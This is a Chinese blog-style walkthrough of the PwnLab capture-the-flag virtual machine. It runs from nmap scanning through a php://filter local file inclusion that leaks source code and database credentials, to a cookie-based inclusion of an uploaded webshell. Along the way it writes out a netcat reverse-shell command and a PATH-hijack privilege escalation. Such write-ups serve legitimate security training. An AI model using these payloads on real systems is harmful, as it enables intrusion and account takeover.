蛋疼的第三弹~~~,来了!
首先,安装完虚拟机,我们没有这个靶机的密码。也不知道ip,只能扫描一下内网或者探测了。
我在kali下用ipconfig看下我kali的地址,因为我的kali和靶机是同一个网卡。
然后再用 arp-scan 或者netdiscover扫描一下C类地址。
探测到,这个靶机的网址是101.
Ok大致的看一下,是自己写的一个cms。
我们用nmap进行半开扫描,nmap -sSVC -p-
发现了不少服务。
Apache 、mysql 、RPC
Ok,我们进一步在web页面收集信息。
发现,有login,upload,home等三个链接。
看到这串url是不是让你想起了,文件包含?因为虽然page这个是一个get参数,但是这里明显不可能是一个注入点。
假设我们这里的文件包含是这个代码:
Ok,那么我们为了进一步的信息探测,我们可以试试读取页面的源代码。
哈哈,用伪协议去爆出来:http://192.168.56.101/?page=php://filter/read=convert.base64-encode/resource=index
我们得到的base64加密后的源代码是:
PD9waHANCi8vTXVsdGlsaW5ndWFsLiBOb3QgaW1wbGVtZW50ZWyKew0KCWluY....xxxxx中间省略xxxxxx.....tbD4=
在下用小葵大杀器转换之,得:
这里我们发现了congig.php,我们同样去包含他。得到:
我们发现了他mysql数据库的用户密码。
经过一系列的操作,基础的sql查询语句我就不多说了。我们得到了下面这些信息:
发现数据库里面的pass是经过base64加密的。
我们前面包含登录框的时候也是base64加密的。哈哈,ok。我们解密玩
可以直接去登录了。
我们点击upload ,他说必须登录。那么我们有了之前的用户名,密码就可以直接登录。尝试上传木马,拿shell了。
这时候我们再次包含一下upload文件看看它有什么样的文件检测。同样base64转换之~
发现用白名单加上MIME加上重命名加上后缀名检测。基本上是无懈可击了。但是这里存在这文件包含,所以我就可以上传一个图片然后包含它。一句话?或者一个反弹shell的脚本!
然而我们这里发现包含文件的后缀名被固定死,用“?”截断?
哈哈,然而这里特殊的地方在于,
这里包含了一个cookie,又是一个包含漏洞。我们是不是可以通过抓包改包让cookie包含我们的图片shell呢?
用户:Kane pass: iSv5Ym2GRo 我们先登录。
先抓包上传我们的小马。
用cookie包含它,然后上传一个反弹shell的php马。
#Premier shell :
nc -l -p 1234
#Second shell :
curl http://192.168.56.101/upload/xxx.php?vaf=nc-c /bin/bash 192.168.56.102 1234
尝试用之前的用户登录,用VulnOS 挑战2的方法 python形成一个交互的shell。
我们发现了这个东西,用IDA静态分析,
代码的主要功能是非常明确的,二进制系统采用函数参数为:“cat/home/mike/msg.txt”
‘
针对这种情况,我们可以通过设置bash的$path环境变量来利用,通常的$PATH包含
然而当我们调用cat命令的时候,cat会从以上目录来寻找,如果我们添加.到$PATH环境变量,则会先从当前目录来寻找cat指令:
新建cat,添加执行权限
kane@pwnlab:~$ echo "/bin/bash"> /tmp/cat
echo "/bin/bash" > /tmp/cat
kane@pwnlab:~$ chmod +x /tmp/cat
chmod +x /tmp/cat
kane@pwnlab:~$ PATH=/tmp:$PATH
PATH=/tmp:$PATH
kane@pwnlab:~$ ./msgmike
./msgmike
mike@pwnlab:~$ id
id
uid=1002(mike) gid=1002(mike)groups=1002(mike),1003(kane)
这样当我们再次运行./msgmike命令的时候,就会触发当前目录下的cat(/bin/sh),从而提权。
哈哈,ok。。几天没更新了。被论文搞傻的,这个是欠大家的~~~